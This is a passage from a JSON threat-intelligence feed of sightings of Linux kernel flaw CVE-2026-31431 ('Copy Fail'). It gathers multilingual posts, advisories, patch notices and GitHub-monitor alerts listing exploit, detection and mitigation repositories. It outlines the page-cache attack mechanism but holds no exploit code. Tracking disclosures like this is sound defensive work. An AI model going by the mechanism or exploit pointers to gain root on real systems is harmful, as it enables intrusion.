brief: intel.overresearched.net/2026/04/30/c...\n\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-04-30T20:46:43.820499Z"}, {"uuid": "2ddf31d1-9d86-43a2-a434-44fbd83ddfc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/koshian.bsky.social/post/3mkqifqjlof26", "content": "\u3046\u30fc\u3093\u3001PoC \u307e\u3067\u516c\u958b\u3055\u308c\u3066\u3093\u306e\u304b\u3002\u30ed\u30fc\u30ab\u30eb\u304b\u3089\u6a29\u9650\u6607\u683c\u3067\u304d\u308b\u3060\u3051\u3060\u304b\u3089\u76f4\u3061\u306b\u5f71\u97ff\u306f\u306a\u3044\u306e\u304b\u3082\u77e5\u308c\u306a\u3044\u304c\u3081\u3061\u3083\u304f\u3061\u3083\u6016\u3044\u306a\u3002\u307e\u3042\u3046\u3061\u306f\u4f7f\u308f\u308c\u3066\u306a\u304b\u3063\u305f\u306e\u3067\u5f71\u97ff\u306f\u306a\u3044\u3060\u308d\u3046\u304c\u5bfe\u7b56\u3057\u3066\u304a\u3044\u305f\u307b\u3046\u304c\u3088\u3055\u305d\u3046\u304b\n\n\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01", "creation_timestamp": "2026-04-30T20:48:51.115736Z"}, {"uuid": "7e657e60-427a-466b-a2ab-230eb08e9de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/feilong76.bsky.social/post/3mkqjrylosc2f", "content": "\u201c\u300cCopy Fail\u300dCVE-2026-31431 \u2014 9\u5e74\u9593\u6f5c\u3093\u3067\u3044\u305f732\u30d0\u30a4\u30c8Python\u3067Linux\u304croot\u5316\u3055\u308c\u308b\u8106\u5f31\u6027\u3068\u5bfe\u7b56\uff5czephel01\u201d htn.to/2xkDgYxA9M", "creation_timestamp": "2026-04-30T21:13:41.161124Z"}, {"uuid": "eb0ae852-2cc9-4655-8a4a-3bfab9a23d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mkqjui6enr42", "content": "Nine-Year-Old Linux Kernel Flaw Grants Unprivileged Users Full Root Access CVE-2026-31431 \"Copy Fail\" \u2014 a 732-byte Python script gives unprivileged users root on Ubuntu, RHEL, Amazon Linu...\n\n#TIGR #vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-04-30T21:15:04.064055Z"}, {"uuid": "1e0cf326-df53-4b4b-beb3-4b972c72174d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/master-sdl.bsky.social/post/3mkqkwv53qs2x", "content": "\u2757 Si vous administrez un PC sous Linux, toutes les distributions seraient concern\u00e9es par la CVE-2026-31431 (Local Privilege Escalation)\n\n\u2192 consultez ces recommandations :\ncert.europa.eu/publications...\n\n\u2192 rappel : mettez r\u00e9guli\u00e8rement \u00e0 jour votre syst\u00e8me pour b\u00e9n\u00e9ficier des mises \u00e0 jour de s\u00e9curit\u00e9", "creation_timestamp": "2026-04-30T21:34:16.878818Z"}, {"uuid": "1b3033bc-077b-470b-9feb-acc92ef9d203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-copy-fail-getting-root-major-linux-distributions-patch-immediately", "content": "", "creation_timestamp": "2026-04-30T12:50:07.000000Z"}, {"uuid": "ec89ef41-70a0-4075-89ff-8985a1b01e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dustymabe.fosstodon.org.ap.brid.gy/post/3mkqlqc6nosy2", "content": "The fix for CVE-2026-31431 (copy fail) has been released for Fedora CoreOS:\n\nhttps://lists.fedoraproject.org/archives/list/coreos@lists.fedoraproject.org/message/AEZV7QKPNXGECMYQO4T4W5IQR4X5B62F/", "creation_timestamp": "2026-04-30T21:49:14.587099Z"}, {"uuid": "1e114e9d-d204-4bfa-9419-9f294eac2609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/johonotodai.bsky.social/post/3mkqlxoh7qs2c", "content": "\u305f\u3063\u305f732\u30d0\u30a4\u30c8\u306ePython\u3067Linux\u30b5\u30fc\u30d0\u9665\u843d\u30029\u5e74\u9593\u8ab0\u3082\u6c17\u3065\u304b\u306a\u304b\u3063\u305fCVE-2026-31431\u306e\u6b63\u4f53\n\n732\u30d0\u30a4\u30c8\u306ePython\u3067Ubuntu\u3001RHEL\u3001SUSE\u306eroot\u304c\u53d6\u308c\u308b\u6df1\u523b\u306a\u5185\u5bb9\u3067\u3001\u767a\u898b\u8005\u306fAI\u652f\u63f4\u30c4\u30fc\u30eb\u3067\u308f\u305a\u304b1\u6642\u9593\u3067\u898b\u3064\u3051\u305f\u3068\u5831\u544a\u3057\u3066\u3044\u307e\u3059\u3002\n\nyoutu.be/XW01k5tT--0\n\n#Linux #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #AI\nCVE-2026-31431 details.", "creation_timestamp": "2026-04-30T21:52:38.586916Z"}, {"uuid": "a22930ce-38d9-47cc-b673-bdc3b865ba58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dailyzenntrends.bsky.social/post/3mkqmeaaaum27", "content": "\u4eca\u65e5\u306eZenn\u30c8\u30ec\u30f3\u30c9\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027CopyFail (CVE-2026-31431) \u306b\u3064\u3044\u3066\u306e\u89e3\u8aac\u8a18\u4e8b\u3067\u3059\u3002\n\u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u304c\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u6c5a\u67d3\u3059\u308b\u3053\u3068\u3067\u3001\u5bb9\u6613\u306broot\u6a29\u9650\u3092\u596a\u53d6\u3067\u304d\u308b\u3053\u3068\u3092\u5b9f\u8a3c\u3057\u3066\u3044\u307e\u3059\u3002\n\u30c7\u30a3\u30b9\u30af\u4e0a\u306e\u30d0\u30a4\u30ca\u30ea\u306f\u66f8\u304d\u63db\u308f\u3089\u306a\u3044\u305f\u3081\u691c\u77e5\u304c\u56f0\u96e3\u3067\u3042\u308a\u3001\u78ba\u8a8d\u306b\u306f\u30ad\u30e3\u30c3\u30b7\u30e5\u3068\u30c7\u30a3\u30b9\u30af\u306e\u30cf\u30c3\u30b7\u30e5\u6bd4\u8f03\u304c\u5fc5\u8981\u3067\u3059\u3002\n\u5bfe\u7b56\u3068\u3057\u3066\u65e9\u6025\u306a\u30d1\u30c3\u30c1\u9069\u7528\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n", "creation_timestamp": "2026-04-30T21:59:35.500778Z"}, {"uuid": "45264670-c4b1-47ae-a193-67e450a1b050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberkendra.com/post/3mkqnqtnoc227", "content": "CVE-2026-31431 \"Copy Fail\": a logic bug in the Linux kernel lets any local user get root on Ubuntu, RHEL, Amazon Linux, and SUSE since 2017.\n\nRead Details - www.cyberkendra.com/2026/04/a-73...\n\n#linuxsecurity #ubuntu #security #CopyFail #INTERNET", "creation_timestamp": "2026-04-30T22:24:38.482633Z"}, {"uuid": "d275dea8-8d01-4b97-88e5-591f371365fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/insomnia.gr/post/3mkqosppdke25", "content": "\u039a\u03c1\u03af\u03c3\u03b9\u03bc\u03b7 \u03b5\u03c5\u03c0\u03ac\u03b8\u03b5\u03b9\u03b1 (CVE-2026-31431) \u03c3\u03c4\u03bf kernel \u03c4\u03bf\u03c5 Linux \u03bc\u03b5 \u03c4\u03b7\u03bd \u03bf\u03bd\u03bf\u03bc\u03b1\u03c3\u03af\u03b1 Copy Fail, \u03b5\u03c0\u03b9\u03c4\u03c1\u03ad\u03c0\u03b5\u03b9 \u03b1\u03c0\u03cc\u03ba\u03c4\u03b7\u03c3\u03b7 root, \u03bc\u03b5 \u03b5\u03cd\u03ba\u03bf\u03bb\u03b7 \u03b5\u03ba\u03bc\u03b5\u03c4\u03ac\u03bb\u03bb\u03b5\u03c5\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03b1\u03bd\u03ac\u03b3\u03ba\u03b7 \u03ac\u03bc\u03b5\u03c3\u03bf\u03c5 patch. www.insomnia.gr/articles/ope...", "creation_timestamp": "2026-04-30T22:43:28.338162Z"}, {"uuid": "0840882a-fe3a-45aa-a3af-9ca6c46f330e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/gullevek.famichiki.jp.ap.brid.gy/post/3mkqow7q6yml2", "content": "Copy Fail \u2014 CVE-2026-31431 https://copy.fail/\n\nAs usual it is so hard to find out if the mainline kernel is already patched or not.", "creation_timestamp": "2026-04-30T22:45:34.993937Z"}, {"uuid": "d0ca1c1f-e0da-4044-a4b9-53c653e03b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/116496097678724677", "content": "Unlike what the buffoons at Theori published as a \"mitigation\", the folks at Red Hat actually published a viable mitigation\nSpecifically, edit your grub (or whatever you use to load your kernel) to have one of the following arguments:initcall_blacklist=algif_aead_initinitcall_blacklist=af_alg_initinitcall_blacklist=crypto_authenc_esn_module_init\nWith such boot arguments to the Linux kernel, the affected bits won't be reachable.", "creation_timestamp": "2026-04-30T22:49:42.453931Z"}, {"uuid": "0b37afe0-1da9-4a42-92b4-9ded6a0dde38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bricebowl.bsky.social/post/3mkqqu4xrlc2n", "content": "The Ubuntu situation is wild:\n\u2022 Ubuntu posts guidance on CVE-2026-31431\n\u2022 Official mitigation fails if ran verbatim\n    - Delimed string argument with non-deliming quotes (double left/right - U+201)\n   - Redirects sudo output to protected file (Won\u2019t work unless you\u2019re root)\n\u2022 Gets DDoS'd \ud83d\udc80", "creation_timestamp": "2026-04-30T23:20:07.020648Z"}, {"uuid": "0296a9e9-be56-430c-ba87-7cc0f97c26e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/techpresso.bsky.social/post/3mkqri5dvnl2t", "content": "The flaw (CVE-2026-31431) stems from a logic bug in the kernel's cryptographic template, and a publicly available 732-byte exploit makes it highly reliable to execute. Major distributions have begun shipping patches.\n\nSource: BleepingComputer", "creation_timestamp": "2026-04-30T23:31:14.694369Z"}, {"uuid": "21b738e0-5633-4e9b-ba7e-fc71d7ca5a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ercanbrack.mastodon.online.ap.brid.gy/post/3mkqrxi4heba2", "content": "No official announcement yet, but Copy Fail (CVE-2026-31431) has already been fixed in the Fedora kernels: 6.19.12. According to Red Hat / Fedora kernel tracking, \"all current Fedora branches are already at or beyond kernel 6.19.12.\n\nTL;DR - If your Fedora system is fully updated, you are [\u2026]", "creation_timestamp": "2026-04-30T23:44:13.790019Z"}, {"uuid": "22695219-6d7b-4fff-bac6-8b00f2445f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fpga-riscv.bsky.social/post/3mkqsrl7mao2a", "content": "CVE-2026-31431: How 4 Bytes Turn a Linux User Into\u00a0Root\n\nIntroduction A new Linux vulnerability is making waves for one simple reason: It turns a normal user into root\u2026 in seconds. No exploit chain.No race condition.No memory leak. Just a few syscalls. This is CVE-2026-31431, also known as \u201cCopy\u2026", "creation_timestamp": "2026-04-30T23:54:25.535280Z"}, {"uuid": "8c912d97-3cd0-43e3-b550-21c122e57bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/habr_com_news/46127", "content": "\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437 10 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430 \u043d\u0430 Python \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Copy Fail (CVE-2026-31431), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0440\u043e\u0432\u043d\u044f root \u0431\u0435\u0437 race condition, \u0431\u0435\u0437 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043e\u0444\u0444\u0441\u0435\u0442\u043e\u0432 \u0438 \u0431\u0435\u0437 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438.\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u041e\u0421", "creation_timestamp": "2026-04-30T07:43:23.000000Z"}, {"uuid": "9a63a073-e358-401c-a55a-a7103a60435f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82241", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431---Copy-Fail-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a maniakh\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 22:54:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBu depo, Linux cekirdeginde (kernel) bulunan CVE-2026-3143 (Copy Fail) zafiyetinin egitim amacli analizini icermektedir. Zafiyet, algif_aead mod\u00fcl\u00fcndeki bir optimizasyon hatasini kullanarak sayfa onbellegindeki (page cache) salt-okunur dosyalari manipule etmeye olanak tanir.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T23:00:04.000000Z"}, {"uuid": "99094a8d-47fa-45f9-9b91-4e60cb03e1b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82224", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SeanRickerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 16:59:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for cve-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T17:00:05.000000Z"}, {"uuid": "978f06b0-bba7-44c0-ae55-7540941770d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82231", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pcdoyle\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 18:50:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T19:00:04.000000Z"}, {"uuid": "92ae75d5-4c73-4211-a74c-ceac585ff0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82233", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431-mitigation\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a amdisrar\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 19:59:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTemporary mitigation for Linux kernel local privilege escalation CVE-2026-31431 (AF_ALG interface)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T20:00:04.000000Z"}, {"uuid": "95fa610d-e027-4562-bd7f-f6097882ae36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82207", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Paranoid-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a scriptzteam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 14:58:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nParanoid disable whole AF_ALG + algif_* modules - Copy Fail (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T15:00:05.000000Z"}, {"uuid": "ab9662a6-a229-438d-88b4-f510dd9ed0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82237", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a liamromanis101\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 20:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetection Only.. working on an exploit PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T21:00:33.000000Z"}, {"uuid": "4838bc73-1508-401b-9a27-db6c6740e885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82195", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-mitigation-rhel\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jmac774\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 11:57:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T12:00:04.000000Z"}, {"uuid": "4749a640-6551-40df-91e3-a50caf1f9bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82199", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JuanBindez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 12:59:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail - CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T13:00:04.000000Z"}, {"uuid": "20f60a5e-ec29-439b-a18e-74ba28fbd984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82201", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-go\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cs8425\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 13:58:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail - CVE-2026-31431 in golang\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T14:00:04.000000Z"}, {"uuid": "eb0be100-af9e-4a70-8bed-638e5fad3dc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82221", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rfxn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 15:44:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDefense-in-depth primitives for CVE-2026-31431 (Copy Fail) \u2014 kernel detection probe and LD_PRELOAD AF_ALG block\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T16:00:05.000000Z"}, {"uuid": 